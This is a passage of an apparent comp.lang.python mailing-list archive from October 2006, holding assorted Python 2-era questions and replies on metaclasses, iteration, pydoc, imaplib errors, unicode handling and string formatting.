     try:
         data = some_unknown_seq[2]
     except IndexError:
         pass
     else:
         ... deal with data ...

but "let's hypergeneralize and treat sequences and mappings as the same 
thing" proposals are nothing new; a trip to the archives might be help-
ful.

</F>



From martin at v.loewis.de  Mon Oct  9 18:36:49 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 10 Oct 2006 00:36:49 +0200
Subject: pythonw documentation?
In-Reply-To: <1160424406.457796.312970@c28g2000cwb.googlegroups.com>
References: <1160424406.457796.312970@c28g2000cwb.googlegroups.com>
Message-ID: <452ACF01.6080701@v.loewis.de>

Roger Miller schrieb:
> However on a more general note, the only references to pythonw that I
> could find in the Python 2.5 documentation are in the Macintosh
> section. Have I overlooked something, or is this a deficiency that
> should be addressed?

You are right that it currently isn't documented (although it is
mentioned in PCbuild/readme.txt).

When you submit a report to sf.net/projects/python, please make a
recommendation what text you'd like to see in what place. It would
be best if you could provide a patch, but somebody will certainly
be able to work a plain-text paragraph into a TeX patch.

Regards,
Martin


From __peter__ at web.de  Tue Oct 31 04:12:20 2006
From: __peter__ at web.de (Peter Otten)
Date: Tue, 31 Oct 2006 10:12:20 +0100
Subject: scared about refrences...
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.19.32.25.538858@gmx.net>
	<1162242647.481298.251320@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.22.26.42.261733@REMOVE.THIS.cybersource.com.au>
	<1162248250.994200.13450@m7g2000cwm.googlegroups.com>
	<ei60go$ngb$1@web.aioe.org>
	<1162254191.507805.276640@k70g2000cwa.googlegroups.com>
	<ei6o2u$9sq$1@web.aioe.org>
Message-ID: <ei741i$fov$02$1@news.t-online.com>

J. Clifford Dyer wrote:

> Thanks, that's very helpful.??Playing?with?your?code?a?bit,?I?narrowed
> the problem down to the array.array() structure.??Looking?at
> help(array), there's a method defined called __deepcopy__, which, it
> seems, takes no arguments, while deepcopy is passing it one argument.
> Looks like a bug in the array module to me.??Maybe?others?with?more

Fixed in subversion: http://www.python.org/sf/1545837 



From bryan.leber at fischerinternational.com  Tue Oct  3 10:53:39 2006
From: bryan.leber at fischerinternational.com (Bryan Leber)
Date: Tue, 3 Oct 2006 10:53:39 -0400
Subject: split()
Message-ID: <3671C2002ECC9149B2B5509290F533A64579D5@fiscex.FISCHERINTERNATIONAL.COM>

Gabriel, actually what I did was go ahead and write the whole sequence
of the commit(i.e. PATCH_NUMBER, BUG_NUMBER, etc) to a file, and then I
read in that file and put them into a list. Then I used
line.startswith() to go through and pull out the OVERVIEW only:-)

 

Thanks,

 

Bryan Leber

Developer

Fischer International Corporation

www.fischerinternational.com <http://www.fischerinternational.com> 

bryan.leber at fischerinternational.com
<mailto:bryan.leber at fischerinternational.com> 

Cell:(239)963-5267

 

Secure Your Risk. Increase Your Bottom Line. (tm)

 


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From michele.simionato at gmail.com  Wed Oct 18 05:18:07 2006
From: michele.simionato at gmail.com (Michele Simionato)
Date: 18 Oct 2006 02:18:07 -0700
Subject: creating many similar properties
In-Reply-To: <1161161181.169918.126210@b28g2000cwb.googlegroups.com>
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
	<1161153829.566566.73960@b28g2000cwb.googlegroups.com>
	<1161158181.103138.294330@b28g2000cwb.googlegroups.com>
	<1161160057.392965.323330@m73g2000cwd.googlegroups.com>
	<1161160436.888246.21020@m73g2000cwd.googlegroups.com>
	<1161161181.169918.126210@b28g2000cwb.googlegroups.com>
Message-ID: <1161163087.751082.225880@b28g2000cwb.googlegroups.com>

Carl Banks wrote:
> Come on, I don't think anyone's under the impression we're being
> indiscriminate here.

Ok, but I don't  think that in the case at hand we should recommend a
metaclass
solution.

   Michele Simionato



From mrquantum at holon.at  Wed Oct  4 13:45:03 2006
From: mrquantum at holon.at (mrquantum)
Date: Wed, 04 Oct 2006 19:45:03 +0200
Subject: string: __iter__()?
References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at>
	<1159974698.293746.256030@c28g2000cwb.googlegroups.com>
Message-ID: <3fa72$4523f31f$506d0b9f$16123@news.chello.at>

John Roth:
 
> The iter() builtin creates an iterator for any
> object that obeys the sequence protocol.
> Since strings obey the sequence protocol there
> is no real advantage to adding yet another
> protocol to an already very fat object.

Okay!

> This  does, however, mean that testing
> for the presence of __iter__ is incomplete;
> one also has to test for __getattr__ if the
> object doesn't have an __Iter__ method.

Should be __getitem__ and not __getattr__!?

> Depending on  your program logic, it
> may be easier to just use iter() and
> handle the exception if it fails.

Okay, I'll do it this way - except will then raise a TypeError, as I just
found in the docs!

> See PEP 234 for a discussion of the
> reasons for doing it this way.
> 

Thanks for pointing this out!

Chris

PS: Thanks to all posters in this thread for your illuminative comments!


From fredrik at pythonware.com  Wed Oct 18 03:39:36 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 09:39:36 +0200
Subject: Where to find pydoc?
In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615B9@mailbe01.teak.local.net>
References: <mailman.557.1160985922.11739.python-list@python.org>	<pan.2006.10.16.09.00.55.1863@gmx.net>
	<egvi62$smc$1@sea.gmane.org>
	<3ACF03E372996C4EACD542EA8A05E66A0615B9@mailbe01.teak.local.net>
Message-ID: <eh4lnp$aqc$1@sea.gmane.org>

Wijaya Edward wrote:

> Can you be specific on which URLs can I find "python-tools".
> Cause I tried the one under easy_install, I still can't find it.

it's an RPM.  you should be able to get it from where you get other 
RedHat packages.

</F>



From ewijaya at i2r.a-star.edu.sg  Thu Oct  5 00:54:23 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Thu, 05 Oct 2006 12:54:23 +0800
Subject: Hands on Documentation for Python methods and Library
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A061588@mailbe01.teak.local.net>


Hi,
 
One can do the following with Perl
 
$ perldoc -f chomp
$ perldoc -f function_name
 
or 
 
$ perldoc List::MoreUtils
$ perldoc Some::Module 
 
Can we do the same thing in Python?
 
-- Edward
SINGAPORE

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From onurb at xiludom.gro  Fri Oct 13 07:23:52 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 13 Oct 2006 13:23:52 +0200
Subject: Python component model
In-Reply-To: <mailman.427.1160729697.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net><pan.2006.10.09.18.24.45.251048@gmx.net><452b7aae$0$306$426a74cc@news.free.fr>	<eghai4$615$1@online.de>	<1160562945.079609.98640@m7g2000cwm.googlegroups.com><mailman.308.1160564020.11739.python-list@python.org>	<452f51a3$0$30999$426a74cc@news.free.fr>
	<mailman.427.1160729697.11739.python-list@python.org>
Message-ID: <452f7749$0$6171$426a34cc@news.free.fr>

Fredrik Lundh wrote:
> Bruno Desthuilliers wrote:
> 
>>>> Meanwhile, the Web programming standardisation scene remains
>>>> stagnant.
>>> Aw, come on.  The Python web programming standardisation wars are over, for now.
>>> There's Django, and there's TurboGears,
>> And there's Pylons...
> 
> and a zillion other more or less interesting research projects. 

I don't think Pylons qualifies as a "research project". FWIW, I
mentionned it because, while (yet) less "buzzworded" than Django and TG,
it's really in the same category - but using the wsgi stack approach
instead of the monolithic one. And MHO is that it could really become
the next big thing in Python's web programming ecosystem.

> I don't see any traces
> of the kind of ecosystems and market awareness that exist for Zope, Django, and
> TurboGears (or for that matter, Rails and Mason), for any other Python web pro-
> gramming tool.

Yes, true.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From michele.simionato at gmail.com  Thu Oct 19 03:49:46 2006
From: michele.simionato at gmail.com (Michele Simionato)
Date: 19 Oct 2006 00:49:46 -0700
Subject: creating many similar properties
In-Reply-To: <hgyZg.12281$TV3.8037@newssvr21.news.prodigy.com>
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
	<1161153829.566566.73960@b28g2000cwb.googlegroups.com>
	<1161158181.103138.294330@b28g2000cwb.googlegroups.com>
	<1161159489.236906.49320@i3g2000cwc.googlegroups.com>
	<hgyZg.12281$TV3.8037@newssvr21.news.prodigy.com>
Message-ID: <1161244185.899198.145420@i3g2000cwc.googlegroups.com>

James Stroud wrote:
> However, I think that what you are saying about metaclasses being
> brittle relates more to implementation than language. In theory, these
> should be equivalent:
>
> (1)     class Bob(object): pass
> (2)     Bob = type('Bob', (), {})
>
> And indeed a cursory inspection of the resulting classes show that they
> are indistinguishable.
>
> That they wouldn't be seems an implementation bug and perhaps that bug
> should be fixed rather than promoting the avoidance of (2) because it
> does not create classes that behave as number (1).

You got something wrong ;)

'type' is the builtin metaclass, it works, I have nothing against it,
and (1) and (2) are *exactly*
equivalent. My gripe is against *custom* metaclasses, i.e. subclasses
of 'type'. The paper is
all about avoiding custom metaclasses and using 'type' instead (i.e.
use the __metaclass__
hook, but not custom metaclasses). It is the same trick used by George
Sakkis in this same
thread.

     Michele Simionato



From allmanj at cp.dias.ie  Mon Oct 16 12:33:05 2006
From: allmanj at cp.dias.ie (John Allman)
Date: Mon, 16 Oct 2006 17:33:05 +0100
Subject: dynamic module loading via __import__, nonetype?
Message-ID: <4533B441.9010405@cp.dias.ie>

Hi all,

I'm trying to create a setup which allows a program to request an object
using strings and get an object of that type. It appears to be mostly
working but i have difficulties if i attempt to load a module at runtime
and then request an object of that type.

Essentially, my code works as follows:

I have a registry class which has a method to register a class. It
inserts an entry into a dictionary using a tuple of two strings (read
from attributes of the class) that points to the class. It also has a
method which will create an object of that class type which takes two
strings as an argument.

Every class i want to use this technique inherits from a class which
uses a custom metaclass. The custom metaclass' __init__ function
registers them with the registry class.

The registry class has another method which allows you to specify a path
to place your plugins in. In reality it merely appends this string to
sys.path. The registry "create" function has a little extra smarts in
that if it can't find the class already in the dictionary, it will
attempt to load the appropriate module. It does this by using __import__
and uses the two strings supplied with a dot in between as the module name.

If i manually import a module, this method works a treat, however if i
attempt to dynamically load a module at runtime the create method fails
with the following error:

TypeError: 'NoneType' object is not callable

I can see that the module is getting imported as i have set print
statements in the custom metaclass to let me know when it is registering
a new class. I can only conclude then that there is some difference
between using the import statement and the __import__ function.

I don't want to clutter the mailing list so i haven't attached any code,
but i certainly can supply it assuming the answer isn't something
obvious i've missed. Am i going about this completely the wrong way? Is
there already an established approach for an auto-registering,
dynamically loading plugin setup? Any help greatly appreciated.

I'm not subscribed to the list, so please cc me in any replies.

Thanks,

John Allman


From cus_aba at yahoo.com  Mon Oct 16 11:01:13 2006
From: cus_aba at yahoo.com (aba cus)
Date: Mon, 16 Oct 2006 08:01:13 -0700 (PDT)
Subject: set operations on dictionaries?
Message-ID: <20061016150113.49209.qmail@web58106.mail.re3.yahoo.com>

A suggestion:

In effect, sets are dictionaries without values. (Even thought their implementation is different)
My suggestion would be to generalise set operations (such as union, intersection, etc.) to work for dictionaries just as they work on sets.

>>> Set([1,2,3]) - Set([3,4])
Set([1, 2])

>>> {1: 10, 2: 20, 3: 30} - {3: 30, 4: 40}

should give
{1: 10, 2:20}

instead of
"TypeError: unsupported operand type(s) for -: 'dict' and 'dict'"

Similarly, union ( | ) and intersetion ( & ) should also be very useful for dictionaries.

It should be quite obvious what should happen when the values stored for the relevant keys are identical. It is less obvious (and needs some though) what should  happen when the keys are the same in the two operands,  but the values are different.

E.g. 

Should

{1: 10, 2: 20} | {2: 25, 3:30}

give an error message (because the values for the key 2 don't match), or should this value conflict be somehow resolved automatically?
Similarly, should intersection and differenc eliminate keys only when the keys match, or not.

I think this would be useful. Would this be worth implementing? Would it be difficult to implement?



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From ilias at lazaridis.com  Tue Oct 17 02:34:46 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 16 Oct 2006 23:34:46 -0700
Subject: Python component model
In-Reply-To: <1160699534.615400.115130@i42g2000cwa.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
	<mailman.141.1160429886.11739.python-list@python.org>
	<1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net>
	<mailman.163.1160452251.11739.python-list@python.org>
	<1160538736.856864.175990@i42g2000cwa.googlegroups.com>
	<1160699534.615400.115130@i42g2000cwa.googlegroups.com>
Message-ID: <1161066886.872563.150970@e3g2000cwe.googlegroups.com>


Peter  Wang wrote:
> Ilias Lazaridis wrote:
> > looks interesting.
>
> Thanks!
>
> > what about persistency?
>
> Um... what about it?

"
As far as I can see, there's no persistency binding available.

Is one planned?
"
http://groups.google.com/group/comp.lang.python/msg/dbdaedc68eee653a

.

--
http://lazaridis.com



From leo.kislov at gmail.com  Fri Oct 20 06:00:21 2006
From: leo.kislov at gmail.com (Leo Kislov)
Date: Fri, 20 Oct 2006 03:00:21 -0700
Subject: right curly quote and unicode
In-Reply-To: <435b46e50610191256w45271a00kc96b366140b8ff56@mail.gmail.com>
References: <7fcc59a70610181444p5909767g77fdf37671041b93@mail.gmail.com>
	<435b46e50610191256w45271a00kc96b366140b8ff56@mail.gmail.com>
Message-ID: <7fcc59a70610200300oc373ae5l369aff956eabbf94@mail.gmail.com>

On 10/19/06, TiNo <tinodb at gmail.com> wrote:
> Now I know where the problem lies. The character in the actual file path is
> u+00B4 (Acute accent) and in the Itunes library it is u+2019 (a right curly
> quote). Somehow Itunes manages to make these two the same...?
>
> As it is the only file that gave me trouble, I changed the accent in the
> file to an apostrophe and re-imported it in Itunes. But I would like to hear
> if there is a solution for this problem?

I remember once I imported a russian mp3 violating tagging standard by
encoding song name in windows-1251 encoding into itunes and itunes
converted the name without even asking me into standard compliant
utf-8. So there is some magic going on. In your case u+00B4 is a
compatibility character from unicode.org point of view and they
discourage usage of such characters. Perhaps itunes is eager to make
u+00B4 character history as soon as possible. Googling for "itunes
replaces acute with quote" reveals that char u+00B4 is not alone. Read
the first hit. I'm afraid you will have to reverse engeneer what
itunes is doing to some characters.

  -- Leo.


From baur79 at gmail.com  Wed Oct 25 04:03:03 2006
From: baur79 at gmail.com (baur79 at gmail.com)
Date: 25 Oct 2006 01:03:03 -0700
Subject: python html 2 image (png)
Message-ID: <1161763383.622381.299350@b28g2000cwb.googlegroups.com>

hi everyone

how can i render html page to png image
ex:

http://www.website.com/index.html -> index.png

thanks a lot



From fredrik at pythonware.com  Mon Oct 16 05:08:18 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 16 Oct 2006 11:08:18 +0200
Subject: Where to find pydoc?
In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615AE@mailbe01.teak.local.net>
References: <mailman.557.1160985922.11739.python-list@python.org>	<pan.2006.10.16.09.00.55.1863@gmx.net>
	<3ACF03E372996C4EACD542EA8A05E66A0615AE@mailbe01.teak.local.net>
Message-ID: <egvi62$smc$1@sea.gmane.org>

Wijaya Edward wrote:

> Thanks for the reply.
>  
> Red Hat Linux Enterprise:
> Linux host.com 2.6.9-34.ELsmp #1 SMP Fri Feb 24 16:54:53 EST 2006 i686 i686 i386 GNU/Linux
> 
> Python 2.3.4.
>  
> Any problem with that?

only that Red Hat obviously hasn't bothered to include "pydoc" in the 
distribution you're using.

look for "python-tools" or a similar package in your favourite package 
repository.

</F>



From ak at silmarill.org  Sat Oct 14 21:32:47 2006
From: ak at silmarill.org (Rainy)
Date: 14 Oct 2006 18:32:47 -0700
Subject: broken links on effbot.org
In-Reply-To: <1160857754.125562.255020@e3g2000cwe.googlegroups.com>
References: <1160857754.125562.255020@e3g2000cwe.googlegroups.com>
Message-ID: <1160875967.292285.203190@h48g2000cwc.googlegroups.com>


Gerard Flanagan wrote:
> The links here seem to be broken:
>
>     http://effbot.org/zone/element-index.htm#documentation
>
> I'm getting:
>
> sorry, /zone/page.cgi?page=element does not exist
>
> sorry, /zone/page.cgi?page=pythondoc-elementtree-ElementTree does not
> exist
>
> It was working two days ago, possibly yesterday (13th Oct).
> 
> Gerard

It works for me..



From john at castleamber.com  Sun Oct 29 14:23:54 2006
From: john at castleamber.com (John Bokma)
Date: 29 Oct 2006 19:23:54 GMT
Subject: logo design - BZZZT! OT!
References: <1162103065.460796.303660@f16g2000cwb.googlegroups.com>
	<hU61h.25265$GR2.15753@tornado.texas.rr.com>
Message-ID: <Xns986B884C89615castleamber@130.133.1.4>

"Paul McGuire" <ptmcg at austin.rr._bogus_.com> wrote:
 
> Does the "power-that-be of lispers" spend much time on c.l.py?  Even
> though Python is mentioned in passing in this post, it really doesn't
> need to be cross-posted here.

Xah Lee is a well-known spammer, almost all his messages contain at least 
one link to his site in the body.

Somehow this time he limited his post to 3 groups instead of the usual 5. 
Maybe talking with the right people does work. It did with Dreamhost. And 
I am sure his current hosting provider is listening ;-)

-- 
John                               MexIT: http://johnbokma.com/mexit/
                           personal page:       http://johnbokma.com/
        Experienced programmer available:     http://castleamber.com/
            Happy Customers: http://castleamber.com/testimonials.html


From sybrenUSE at YOURthirdtower.com.imagination  Wed Oct 18 16:04:15 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Wed, 18 Oct 2006 22:04:15 +0200
Subject: Classes and Functions - General Questions
References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com>
Message-ID: <slrnejd25v.7q6.sybrenUSE@schuimige.stuvel.eu>

Setash enlightened us with:
> 1) Classes. How do you extend classes?
>
> I know its as easy as:
>
> class classname(a)
>    do stuff
>
>
> But where does the parent class need to lie? In the same file? Can
> it lie in another .py file in the root directory?

It doesn't matter at all, as long as 'a' is a valid class name. This
works too:

import x

class Classname(x.A):
    do stuff

It's common to start classnames with a captial letter.

> Can my directory structure look like
>
> ..
> /class1.py
> /class2.py
>
> And have class2 inherit class1 without any import statements, or need
> it be imported first?

It needs to be imported first:

class1.py:

    class Class1(object):
        pass

class2.py:
    import class1

    class Class2(class1.Class1):
        pass

> 2) Function overloading - is it possible?

Nope. At least, not that I'm aware of.

> Can I have the following code, or something which acts the same in
> python?:
>
>
> def function(a, b)
>    do things
>
> def function(a, b, c)
>    do things only if I get a third argument

def function(a, b, c=None):
    do things, do other things if c is not None.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From simon at brunningonline.net  Fri Oct 20 14:12:06 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Fri, 20 Oct 2006 19:12:06 +0100
Subject: help with my first use of a class
In-Reply-To: <A98_g.21901$7I1.16490@newssvr27.news.prodigy.net>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
	<F5_Zg.18137$6S3.4347@newssvr25.news.prodigy.net>
	<mailman.846.1161354249.11739.python-list@python.org>
	<A98_g.21901$7I1.16490@newssvr27.news.prodigy.net>
Message-ID: <8c7f10c60610201112q51fe2784mdab2add574b7627@mail.gmail.com>

On 10/20/06, James Stroud <jstroud at mbi.ucla.edu> wrote:
>
> I don't really have formal programming training, but it is increasingly
> becoming my experience that OOP is but one ingredient in a good program.
> It can be left out or it can be mixed with other ingredients for a nice
> effect.

Indeed. Python is a multi-paradigm programing language. If the best
solution for a problem is a class, you've got them. If on the other
hand, you just need a function, you can have one of those too - none
of this class full of static methods rubbish like you have in Java. If
a functional approach is better, Python does that.

-- 
Cheers,
Simon B
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/


From onurb at xiludom.gro  Tue Oct 17 10:35:43 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 17 Oct 2006 16:35:43 +0200
Subject: Looking for assignement operator
In-Reply-To: <pan.2006.10.17.14.21.32.143302@REMOVE.THIS.cybersource.com.au>
References: <eh2n08$4ji$1@online.de>
	<pan.2006.10.17.14.21.32.143302@REMOVE.THIS.cybersource.com.au>
Message-ID: <4534ea40$0$26809$426a34cc@news.free.fr>

Steven D'Aprano wrote:
> On Tue, 17 Oct 2006 15:50:47 +0200, Alexander Eisenhuth wrote:
> 
>> Hello,
>>
>> is there a assignement operator, that i can overwrite?
> 
> No.
> 
> We were just discussing the reasons why Python will not and can not have
> an assignment operator just a few days ago. Check the archives for more
> details.
> 
> 
>> class MyInt:
>> 	def __init__(self, val):
>> 		assert(isinstance(val, int))
> 
> isinstance() considered harmful:

Trying to convert val to an int would probably be better indeed:

class MyInt(object):
  def __init__(self, val):
    self.val = int(val)

My 2 cents
-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From steve at holdenweb.com  Sun Oct  1 13:10:16 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 01 Oct 2006 18:10:16 +0100
Subject: question about scope
In-Reply-To: <451ff246$0$30811$c3e8da3@news.astraweb.com>
References: <451f2fa7$0$14757$c3e8da3@news.astraweb.com>	<mailman.1025.1159679073.10491.python-list@python.org>	<451f52f1$0$1803$c3e8da3@news.astraweb.com>	<4KITg.18490$Ij.7035@newssvr14.news.prodigy.com>
	<451ff246$0$30811$c3e8da3@news.astraweb.com>
Message-ID: <efoso8$jh9$1@sea.gmane.org>

John Salerno wrote:
> James Stroud wrote:
> 
> 
>>This is because that list is an attribute of the class. Instances have a 
>>reference of this class attribute, but it can be replaced by an 
>>attribute of the instance with self (self is a reference to the instance 
>>and not the class. This example might help:
> 
> 
> Ah, I see! So within my create_menubar() method, would it better to 
> refer to menu_items as DataAccessFrame.menu_items? Or does it not matter 
> in this case, since I'm not reassigning it per instance?

I'd prefer to use a self-relative reference, though either works in your 
example. That way the code will work for subclasses with different menus 
too. Perhaps not relevant in your case, but a general point.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From theller at ctypes.org  Fri Oct 27 05:06:11 2006
From: theller at ctypes.org (Thomas Heller)
Date: Fri, 27 Oct 2006 11:06:11 +0200
Subject: Slightly OT: Is pyhelp.cgi documentation search broken?
In-Reply-To: <ehppm4$md4$1@news.lysator.liu.se>
References: <ehppm4$md4$1@news.lysator.liu.se>
Message-ID: <4541CC03.9090504@ctypes.org>

Joel Hedlund schrieb:
> Hi!
> 
> For a number of days I haven't been able to search the online python 
> docs at:
> 
> http://starship.python.net/crew/theller/pyhelp.cgi
> 
> that is the "search the docs with" link at this page:
> 
> http://www.python.org/doc/
> 
> Instead of the search engine, I get Error 404. This is a real bother for 
> me, since I rely heavily on it for my work.
> 

It works now again.  At the same time, I've added the ability to search the Python 2.5 docs,
(formerly they were exposed as 'current docs' only, and moved the code into an SVN repository.

Note that you can also download the module and use it locally.

Thomas



From fredrik at pythonware.com  Sat Oct 28 11:53:28 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Oct 2006 17:53:28 +0200
Subject: Where is __builtin__
In-Reply-To: <1162050359.184999.259580@b28g2000cwb.googlegroups.com>
References: <1162050359.184999.259580@b28g2000cwb.googlegroups.com>
Message-ID: <ehvudo$ifq$1@sea.gmane.org>

ArdPy wrote:

> Most of the other modules have an accompanying python source file. But
> that is not the case with __builtin__. What might be the reason? Isn't
> __builtin__ written in python?

http://www.effbot.org/pyfaq/where-is-the-math-py-socket-py-regex-py-etc-source-file.htm

</F>



From DustanGroups at gmail.com  Sun Oct 15 09:15:00 2006
From: DustanGroups at gmail.com (Dustan)
Date: 15 Oct 2006 06:15:00 -0700
Subject: Reverse string-formatting (maybe?)
In-Reply-To: <mailman.539.1160917513.11739.python-list@python.org>
References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>
	<egqoee$i81$03$1@news.t-online.com>
	<1160916174.892851.39730@e3g2000cwe.googlegroups.com>
	<mailman.539.1160917513.11739.python-list@python.org>
Message-ID: <1160918100.141668.128850@h48g2000cwc.googlegroups.com>


Tim Chase wrote:
> > My template outside of the '%s' characters contains only commas and
> > spaces, and within, neither commas nor spaces. Given that information,
> > is there any reason it might not work properly?
>
> Given this new (key) information along with the assumption that
> you're doing straight string replacement (not dictionary
> replacement of the form "%(key)s" or other non-string types such
> as "%05.2f"), then yes, a reversal is possible.  To make it more
> explicit, one would do something like
>
>  >>> template = '%s, %s, %s'
>  >>> values = ('Tom', 'Dick', 'Harry')
>  >>> formatted = template % values
>  >>> import re
>  >>> unformat_string = template.replace('%s', '([^, ]+)')
>  >>> unformatter = re.compile(unformat_string)
>  >>> extracted_values = unformatter.search(formatted).groups()
>
> using '[^, ]+' to mean "one or more characters that aren't a
> comma or a space".
>
> -tkc

Thanks.

One more thing (I forgot to mention this other situation earlier)
The %s characters are ints, and outside can be anything except int
characters. I do have one situation of '%s%s%s', but I can change it to
'%s', and change the output into the needed output, so that's not
important. Think something along the lines of "abckdaldj iweo%s
qwierxcnv !%sjd".



From carsten at uniqsys.com  Tue Oct 17 09:13:39 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Tue, 17 Oct 2006 09:13:39 -0400
Subject: Newbie: datetime conversion question
In-Reply-To: <yt4Zg.28313$Go3.7157@dukeread05>
References: <1161089016.309925.94840@b28g2000cwb.googlegroups.com>
	<yt4Zg.28313$Go3.7157@dukeread05>
Message-ID: <1161090819.9902.6.camel@dot.uniqsys.com>

On Tue, 2006-10-17 at 08:49, hg wrote:
> import time
> "%08X"% (int)(time.mktime(time.localtime()))

Have you not had your coffee yet or are you trying to win an obfuscated
python programming competition? ;)

-Carsten




From onurb at xiludom.gro  Wed Oct 25 05:12:49 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 25 Oct 2006 11:12:49 +0200
Subject: Looking for assignement operator
In-Reply-To: <1161408831.435579.302150@m73g2000cwd.googlegroups.com>
References: <eh2n08$4ji$1@online.de>
	<1161158101.890041.122160@k70g2000cwa.googlegroups.com>
	<4535e7d8$0$377$426a74cc@news.free.fr>
	<1161408831.435579.302150@m73g2000cwd.googlegroups.com>
Message-ID: <453f2a93$0$12033$426a74cc@news.free.fr>

Tommi wrote:
> Bruno Desthuilliers wrote:
> 
(about Traits)
>
>> How could it help ?
> 
> To me they just looked a bit alike:
> 
> --- op's example ---
> a = MyInt(10)
> # Here i need to overwrite the assignement operator
> a = 12
> 
> --- traits' example ---
> moe = Child()
> # NOTIFICATION in action
> moe.age = 10
> 

You do understand the difference between rebinding a name and modifying
a mutable object, do you ?

FWIW, you definitively don't need Traits here - properties are enough.

class Something(object):
  @apply
  def age():
    def fget(self):
      return self._age
    def fset(self, val):
      self._age = MyInt(val)
    return property(**locals())

s = Something()
s.age = 42
type(s.age)

But this is not what the OP was asking for...

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From sgreszcz at yahoo.com  Wed Oct 18 08:25:59 2006
From: sgreszcz at yahoo.com (Stephen G)
Date: Wed, 18 Oct 2006 05:25:59 -0700 (PDT)
Subject: MemoryError - IMAP retrieve self._sock.recv(recv_size)
Message-ID: <20061018122559.15495.qmail@web88207.mail.re2.yahoo.com>

Hi there.  I have been receiving MemoryErrors using the Windows version of Python 2.5.  The script I have written times the sending and the reception of emails with various attachments.

I get many exceptions when using the IMAP downloads.  This happens randomly; sometimes the file downloads OK, and other times no. 

Using an exception and traceback function, I can see the following...

MemoryError
<no args>
  File "C:\Documents and Settings\root\Desktop\TMO\Python scripts\imap-v2.3a.py", line 263, in main
    typ, data = M.fetch(num, '(RFC822)')

  File "C:\Python25\lib\imaplib.py", line 437, in fetch
    typ, dat = self._simple_command(name, message_set, message_parts)

  File "C:\Python25\lib\imaplib.py", line 1055, in _simple_command
    return self._command_complete(name, self._command(name, *args))

  File "C:\Python25\lib\imaplib.py", line 885, in _command_complete
    typ, data = self._get_tagged_response(tag)

  File "C:\Python25\lib\imaplib.py", line 986, in _get_tagged_response
    self._get_response()

  File "C:\Python25\lib\imaplib.py", line 948, in _get_response
    data = self.read(size)

  File "C:\Python25\lib\imaplib.py", line 236, in read
    return self.file.read(size)

  File "C:\Python25\lib\socket.py", line 308, in read
    data = self._sock.recv(recv_size)

Is this a know bug or is there something I can do to work around this?

Thanks,

Stephen




From fredrik at pythonware.com  Fri Oct 20 09:10:54 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 15:10:54 +0200
Subject: Unicode support in python
References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com><eha35a$c8c$1@sea.gmane.org><mailman.827.1161335364.11739.python-list@python.org>
	<1161347155.127042.88710@m7g2000cwm.googlegroups.com>
Message-ID: <ehahsu$804$1@sea.gmane.org>

"sonald" wrote:

> I have added the following line in the script
>
> # -*- coding: utf-8 -*-

that's good.

> I have also modified the site.py

that's bad, because this means that your code won't work on standard
Python installations.

> Now when I try to validate the data in the text file
> say abc.txt (saved as with utf-8 encoding) containing either english or
> russian text,

what does the word "validate" mean here?

> some junk character (box like) is added as the first character
> what must be the reason for this?

what did you do to determine that there's a box-like character at the start
of the file?

can you post some code?

</F> 





From spe.stani.be at gmail.com  Sun Oct 15 18:18:36 2006
From: spe.stani.be at gmail.com (SPE - Stani's Python Editor)
Date: 15 Oct 2006 15:18:36 -0700
Subject: SPE for 2.5?
In-Reply-To: <NJQXg.106$1n3.2880@news.tufts.edu>
References: <NJQXg.106$1n3.2880@news.tufts.edu>
Message-ID: <1160950716.385705.161880@b28g2000cwb.googlegroups.com>

John Salerno schreef:

> Does anyone know if SPE is compatible with Python 2.5? I don't see a
> Windows exe file for 2.5, so I wasn't sure if I should use the 2.4 version.
>
> Thanks.

It should be. Contact me and I'll help you to make a 2.5 installer,
which I'll gladly provide for download. I use SPE on daily basis
myself.

Stani



From claus.tondering at gmail.com  Tue Oct 10 10:24:23 2006
